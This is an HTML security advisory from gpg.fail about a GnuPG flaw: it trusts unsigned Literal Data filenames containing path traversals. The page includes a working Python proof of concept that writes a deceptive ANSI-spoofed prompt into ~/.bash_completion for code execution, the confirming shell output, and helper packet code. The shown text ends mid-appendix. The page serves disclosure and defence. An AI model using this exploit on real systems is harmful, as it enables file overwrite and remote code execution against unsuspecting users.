1<!doctype html> 2<html lang="en"> 3 <head> 4 <meta charset="utf-8" /> 5 <meta name="darkreader-lock" /> 6 <meta name="viewport" content="width=device-width, initial-scale=1" /> 7 <link rel="manifest" href="/manifest.webmanifest"> 8 <link rel="icon" href="/favicon.ico" sizes="32x32"> 9 <link rel="icon" href="/icon.svg" type="image/svg+xml"> 10 <link rel="apple-touch-icon" href="/apple-touch-icon.png"> 11 12 <link href="./_app/immutable/assets/0.B3PCwX-h.css" rel="stylesheet"><!--12qhfyh--><!----><title>gpg.fail</title> 13 </head> 14 <body><!--[--><!--[--><!----><main class="min-w-full max-w-[1280px] my-auto bg-green-500 p-4 space-y-4"><!----><article class="prose mx-auto"><h1>GnuPG Accepts Path Separators and Path Traversals in Literal Data "Filename" Field</h1> <!----><p><em>GnuPG</em> accepts arbitrary <strong>file paths</strong> in the unsigned Literal Data packet <strong>filename</strong> field and uses that value without sufficient sanitization.</p> <h2>Impact</h2> <p>In combination with tricking a user with ANSI formatted output that changes <em>GnuPG</em> output with deceptive apparent <em>GnuPG</em> logs, this can lead to creation or overwrite of any file on the system the user can write to. This commonly includes regularly executed scripts and programs leading to remote code execution (RCE).</p> <h2>Details</h2> <p>Literal Data parsing copies <code>namelen</code> bytes from the packet into <code>pt->name</code> without sanitizing or restricting directory separators or traversal sequences.</p> <!----><pre class="shiki github-dark-default" style="background-color:#0d1117;color:#e6edf3" tabindex="0"><code><span class="line"><span style="color:#E6EDF3"> pt</span><span style="color:#FF7B72">-></span><span style="color:#E6EDF3">namelen </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> namelen;</span></span> 15<span class="line"><span style="color:#E6EDF3"> pt</span><span style="color:#FF7B72">-></span><span style="color:#E6EDF3">is_partial </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> partial;</span></span> 16<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> (pktlen) {</span></span> 17<span class="line"><span style="color:#FF7B72"> for</span><span style="color:#E6EDF3"> (i </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> 0</span><span style="color:#E6EDF3">; pktlen </span><span style="color:#FF7B72">></span><span style="color:#79C0FF"> 4</span><span style="color:#FF7B72"> &&</span><span style="color:#E6EDF3"> i </span><span style="color:#FF7B72"><</span><span style="color:#E6EDF3"> namelen; pktlen</span><span style="color:#FF7B72">--</span><span style="color:#E6EDF3">, i</span><span style="color:#FF7B72">++</span><span style="color:#E6EDF3">)</span></span> 18<span class="line"><span style="color:#E6EDF3"> pt->name[i] </span><span style="color:#FF7B72">=</span><span style="color:#D2A8FF"> iobuf_get_noeof</span><span style="color:#E6EDF3">(inp);</span></span> 19<span class="line"><span style="color:#E6EDF3"> }</span></span></code></pre><!----> <p>This data is then processed by <code>get_output_file</code> which performs no sanitization and treats the file name field as a file path.</p> <p>To quote from the <em>GnuPG</em> man page:</p> <blockquote><p>Note also that unless a modern version 5 signature is used the embedded filename is not part of the signed data.</p></blockquote> <p>This makes attacks in certain scenarios more likely as an attacker might modify/insert this to more easily deceive an inattentive user.</p> <h3>Detailed steps to reproduce</h3> <h4>Scenario</h4> <ul><li>Mallory, an attacker, sends Bob a message with the goal to overwrite Bobâs bash completion script to gain remote code execution.</li> <li>Bob follows the relatively secure looking comment in a terminal running bash with ANSI support</li></ul> <h4>Procedure</h4> <ul><li>The first command <code>gpg --decrypt pts.enc</code> prepares a deceiving ANSI prompt (could be any message that the user is likely to accept)</li> <li>The subsequent <code>gpg pts.enc</code> then overwrites any file, we choose the <code>~/.bash_completion</code> file to gain RCE. We choose <code>~/.bash_completion</code> as it does not exist by default on most systems.</li> <li>Mallory creates malicious message using poc.py (dependencies in the appendix section)</li></ul> <!----><pre class="shiki github-dark-default" style="background-color:#0d1117;color:#e6edf3" tabindex="0"><code><span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> literal_data </span><span style="color:#FF7B72">
19import</span><span style="color:#E6EDF3"> LiteralDataEncoding, LiteralDataPacket</span></span> 20<span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> packets </span><span style="color:#FF7B72">import</span><span style="color:#E6EDF3"> Packet, PacketType</span></span> 21<span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> armor </span><span style="color:#FF7B72">import</span><span style="color:#E6EDF3"> ArmorSectionType, </span><span style="color:#79C0FF">BEGIN</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">END</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">DASHES</span><span style="color:#E6EDF3">, crc24, standard_b64encode</span></span> 22<span class="line"></span> 23<span class="line"></span> 24<span class="line"><span style="color:#E6EDF3">encoding </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> LiteralDataEncoding.Text</span></span> 25<span class="line"></span> 26<span class="line"><span style="color:#E6EDF3">ld_packet </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> LiteralDataPacket(</span></span> 27<span class="line"><span style="color:#FFA657"> encoding</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">encoding,</span></span> 28<span class="line"><span style="color:#FFA657"> file_name</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"/home/nine/.bash_completion"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">data</span><span style="color:#FF7B72">=</span><span style="color:#FF7B72">b</span><span style="color:#A5D6FF">"""</span><span style="color:#79C0FF"></span></span> 29<span class="line"><span style="color:#A5D6FF">#</span><span style="color:#FF7B72">�</span><span style="color:#A5D6FF">[K</span><span style="color:#FF7B72">�</span><span style="color:#A5D6FF">[Dgpg: WARNING: Message contains no signatures. Continue viewing [Y/n]?</span><span style="color:#FF7B72">�</span><span style="color:#A5D6FF">[8m</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">echo pwned</span><span style="color:#FF7B72">�</span><span style="color:#A5D6FF">]2;</span></span> 30<span class="line"><span style="color:#A5D6FF">"""</span></span> 31<span class="line"><span style="color:#E6EDF3">)</span></span> 32<span class="line"></span> 33<span class="line"><span style="color:#E6EDF3">packet </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> Packet(</span></span> 34<span class="line"><span style="color:#FFA657"> legacy</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">,</span></span> 35<span class="line"><span style="color:#FFA657"> packet_type</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">PacketType.LiteralData,</span></span> 36<span class="line"><span style="color:#FFA657"> body</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">
36ld_packet,</span></span> 37<span class="line"><span style="color:#E6EDF3">)</span></span> 38<span class="line"></span> 39<span class="line"><span style="color:#E6EDF3">data </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> bytes</span><span style="color:#E6EDF3">(packet)</span></span> 40<span class="line"><span style="color:#E6EDF3">header </span><span style="color:#FF7B72">=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">BEGIN</span><span style="color:#FF7B72">}{</span><span style="color:#E6EDF3">ArmorSectionType.</span><span style="color:#79C0FF">PGP_ARMORED_FILE</span><span style="color:#E6EDF3">.value</span><span style="color:#FF7B72">}{</span><span style="color:#79C0FF">DASHES</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">"</span></span> 41<span class="line"><span style="color:#E6EDF3">footer </span><span style="color:#FF7B72">=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">END</span><span style="color:#FF7B72">}{</span><span style="color:#E6EDF3">ArmorSectionType.</span><span style="color:#79C0FF">PGP_ARMORED_FILE</span><span style="color:#E6EDF3">.value</span><span style="color:#FF7B72">}{</span><span style="color:#79C0FF">DASHES</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">"</span></span> 42<span class="line"></span> 43<span class="line"><span style="color:#E6EDF3">b64_data </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> standard_b64encode(data).decode(</span><span style="color:#A5D6FF">"utf8"</span><span style="color:#E6EDF3">)</span></span> 44<span class="line"><span style="color:#E6EDF3">lines </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> []</span></span> 45<span class="line"><span style="color:#FF7B72">while</span><span style="color:#79C0FF"> len</span><span style="color:#E6EDF3">(b64_data) </span><span style="color:#FF7B72">>=</span><span style="color:#79C0FF"> 64</span><span style="color:#E6EDF3">:</span></span> 46<span class="line"><span style="color:#E6EDF3"> lines.append(b64_data[:</span><span style="color:#79C0FF">64</span><span style="color:#E6EDF3">])</span></span> 47<span class="line"><span style="color:#E6EDF3"> b64_data </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> b64_data[</span><span style="color:#79C0FF">64</span><span style="color:#E6EDF3">:]</span></span> 48<span class="line"><span style="color:#FF7B72">if</span><span style="color:#E6EDF3"> b64_data:</span></span> 49<span class="line"><span style="color:#E6EDF3"> lines.append(b64_data)</span></span> 50<span class="line"></span> 51<span class="line"><span style="color:#E6EDF3">checksum </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> crc24(data).to_bytes(</span><span style="color:#FFA657">length</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">3</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"big"</span><span style="color:#E6EDF3">)</span></span> 52<span class="line"><span style="color:#E6EDF3">b64_checksum </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> standard_b64encode(checksum).decode(</span><span style="color:#A5D6FF">"utf8"</span><span style="color:#E6EDF3">)</span></span> 53<span class="line"></span> 54<span class="line"><span style="color:#79C0FF">print</span><span style="color:#E6EDF3">(header)</span></span> 55<span class="line"><span style="color:#79C0FF">print</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"Comment: open with `gpg --decrypt pts.enc && gpg pts.enc`"</span><span style="color:#FF7B72"> +</span><span style="color:#A5D6FF"> "</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 56<span class="line"><span style="color:#FF7B72">for</span><span style="color:#E6EDF3"> line </span><span style="color:#FF7B72">in</span><span style="color:#E6EDF3"> lines:</span></span> 57<span class="line"><span style="color:#79C0FF"> print</span><span style="color:#E6EDF3">(line)</span></span> 58<span class="line"><span style="color:#79C0FF">print</span><span style="color:#E6EDF3">(</span><span style="color:#FF7B72">f</span><span style="color:#A5D6FF">"=</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">
58b64_checksum</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 59<span class="line"><span style="color:#79C0FF">print</span><span style="color:#E6EDF3">(footer)</span></span></code></pre><!----> <ul><li>Mallory sends the output of <code>python3 poc.py > pts.enc</code> to Bob.</li> <li>Bob naively opens the file using the comment in the message, and accepts the prompt as it does not seem to imply any security risk:</li></ul> <!----><pre class="shiki github-dark-default" style="background-color:#0d1117;color:#e6edf3" tabindex="0"><code><span class="line"><span>$ gpg --decrypt pts.enc && gpg pts.enc</span></span> 60<span class="line"><span>gpg: WARNING: Message contains no signatures. Continue viewing [Y/n]?</span></span> 61<span class="line"><span></span></span> 62<span class="line"><span>$ bash</span></span> 63<span class="line"><span>pwned$</span></span></code></pre><!----> <p>Note, that instead of <code>echo pwned</code> we could have set up a <a href="https://www.sysdig.com/learn-cloud-native/what-is-a-reverse-shell" rel="nofollow">reverse shell</a>.</p> <h2>Recommendations</h2> <ul><li><em>GnuPG</em> should warn the user before outputting binary data such as ANSI control sequences to the users terminal.</li> <li><em>GnuPG</em> may consider not using the embedded file name as the default</li> <li><em>GnuPG</em> should not accept <em>file paths</em> in the <em>filename</em> field</li> <li>Users should be careful when using <code>gpg <filename></code> and should instead specify the intended subcommand.</li></ul> <h2>Appendix</h2> <p>buffer.py</p> <!----><pre class="shiki github-dark-default" style="background-color:#0d1117;color:#e6edf3" tabindex="0"><code><span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> Buffer</span><span style="color:#E6EDF3">:</span></span> 64<span class="line"><span style="color:#E6EDF3"> inner: </span><span style="color:#79C0FF">bytes</span></span> 65<span class="line"></span> 66<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __init__</span><span style="color:#E6EDF3">(self, inner: </span><span style="color:#79C0FF">bytes</span><span style="color:#FF7B72"> =</span><span style="color:#FF7B72"> b</span><span style="color:#A5D6FF">""</span><span style="color:#E6EDF3">):</span></span> 67<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.inner </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> inner</span></span> 68<span class="line"></span> 69<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __bytes__</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">bytes</span><span style="color:#E6EDF3">:</span></span> 70<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.inner</span></span> 71<span class="line"></span> 72<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __len__</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 73<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.inner)</span></span> 74<span class="line"></span> 75<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> is_empty</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">bool</span><span style="color:#E6EDF3">:</span></span> 76<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.inner) </span><span style="color:#FF7B72">==</span><span style="color:#79C0FF"> 0</span></span> 77<span class="line"></span> 78<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_bytes</span><span style="color:#E6EDF3">(self, data: </span><span style="color:#79C0FF">bytes</span><span style="color:#E6EDF3">):</span></span> 79<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">
79.inner </span><span style="color:#FF7B72">+=</span><span style="color:#79C0FF"> bytes</span><span style="color:#E6EDF3">(data)</span></span> 80<span class="line"></span> 81<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_mpi</span><span style="color:#E6EDF3">(self, data: </span><span style="color:#79C0FF">bytes</span><span style="color:#E6EDF3">, bits: </span><span style="color:#79C0FF">int</span><span style="color:#FF7B72"> |</span><span style="color:#79C0FF"> None</span><span style="color:#E6EDF3">):</span></span> 82<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> bits </span><span style="color:#FF7B72">is</span><span style="color:#79C0FF"> None</span><span style="color:#E6EDF3">:</span></span> 83<span class="line"><span style="color:#E6EDF3"> size </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> len</span><span style="color:#E6EDF3">(data)</span></span> 84<span class="line"><span style="color:#E6EDF3"> pos </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> 0</span></span> 85<span class="line"><span style="color:#FF7B72"> while</span><span style="color:#E6EDF3"> data[pos] </span><span style="color:#FF7B72">==</span><span style="color:#79C0FF"> 0</span><span style="color:#E6EDF3">:</span></span> 86<span class="line"><span style="color:#E6EDF3"> size </span><span style="color:#FF7B72">-=</span><span style="color:#79C0FF"> 8</span></span> 87<span class="line"><span style="color:#E6EDF3"> pos </span><span style="color:#FF7B72">+=</span><span style="color:#79C0FF"> 1</span></span> 88<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> data[pos] </span><span style="color:#FF7B72">>=</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">80</span><span style="color:#E6EDF3">:</span></span> 89<span class="line"><span style="color:#FF7B72"> pass</span></span> 90<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> data[pos] </span><span style="color:#FF7B72">>=</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">40</span><span style="color:#E6EDF3">:</span></span> 91<span class="line"><span style="color:#E6EDF3"> size </span><span style="color:#FF7B72">-=</span><span style="color:#79C0FF"> 1</span></span> 92<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> data[pos] </span><span style="color:#FF7B72">>=</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">20</span><span style="color:#E6EDF3">:</span></span> 93<span class="line"><span style="color:#E6EDF3"> size </span><span style="color:#FF7B72">-=</span><span style="color:#79C0FF"> 2</span></span> 94<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> data[pos] </span><span style="color:#FF7B72">>=</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">10</span><span style="color:#E6EDF3">:</span></span> 95<span class="line"><span style="color:#E6EDF3"> size </span><span style="color:#FF7B72">-=</span><span style="color:#79C0FF"> 3</span></span> 96<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> data[pos] </span><span style="color:#FF7B72">>=</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">08</span><span style="color:#E6EDF3">:</span></span> 97<span class="line"><span style="color:#E6EDF3"> size </span><span style="color:#FF7B72">-=</span><span style="color:#79C0FF"> 4</span></span> 98<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> data[pos] </span><span style="color:#FF7B72">>=</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">04</span><span style="color:#E6EDF3">:</span></span> 99<span class="line"><span style="color:#E6EDF3"> size </span><span style="color:#FF7B72">-=</span><span style="color:#79C0FF"> 5</span></span> 100<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> data[pos] </span><span style="color:#FF7B72">>=</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">02</span><span style="color:#E6EDF3">:</span></span> 101<span class="line"><span style="color:#E6EDF3"> size </span><span style="color:#FF7B72">-=</span><span style="color:#79C0FF"> 6</span></span> 102<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> data[pos] </span><span style="color:#FF7B72">>=</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">01</span><span style="color:#E6EDF3">:</span></span> 103<span class="line"><span style="color:#E6EDF3"> size </span><span style="color:#FF7B72">-=</span><span style="color:#79C0FF"> 7</span></span> 104<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_u16be(bits)</span></span> 105<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_bytes(data)</span></span> 106<span class="line"></span> 107<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_utf8</span><span style="color:#E6EDF3">(self, text: </span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">):</span></span> 108<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_bytes(text.encode(</span><span style="color:#A5D6FF">"utf8"</span><span style="color:#E6EDF3">))</span></span> 109<span class="line"></span> 110<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_int</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">, count: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">, byteorder: </span><span style="color:#79C0FF">str</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF">
110 "big"</span><span style="color:#E6EDF3">, signed: </span><span style="color:#79C0FF">bool</span><span style="color:#FF7B72"> =</span><span style="color:#79C0FF"> False</span><span style="color:#E6EDF3">):</span></span> 111<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_bytes(</span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">(value).to_bytes(count, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">byteorder, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">signed))</span></span> 112<span class="line"></span> 113<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_i8</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 114<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">1</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 115<span class="line"></span> 116<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_i16be</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 117<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 118<span class="line"></span> 119<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_i16le</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 120<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 121<span class="line"></span> 122<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_i32be</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 123<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">4</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 124<span class="line"></span> 125<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_i32le</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 126<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">4</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">
126byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 127<span class="line"></span> 128<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_i64be</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 129<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 130<span class="line"></span> 131<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_i64le</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 132<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 133<span class="line"></span> 134<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_u8</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 135<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">1</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 136<span class="line"></span> 137<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_u16be</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 138<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 139<span class="line"></span> 140<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_u16le</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 141<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 142<span class="line"></span> 143<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_u32be</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 144<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">4</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">
144byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 145<span class="line"></span> 146<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_u32le</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 147<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">4</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 148<span class="line"></span> 149<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_u64be</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 150<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 151<span class="line"></span> 152<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_u64le</span><span style="color:#E6EDF3">(self, value: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">):</span></span> 153<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.push_int(value, </span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 154<span class="line"></span> 155<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_bytes</span><span style="color:#E6EDF3">(self, count: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">) -> </span><span style="color:#79C0FF">bytes</span><span style="color:#E6EDF3">:</span></span> 156<span class="line"><span style="color:#E6EDF3"> value </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span 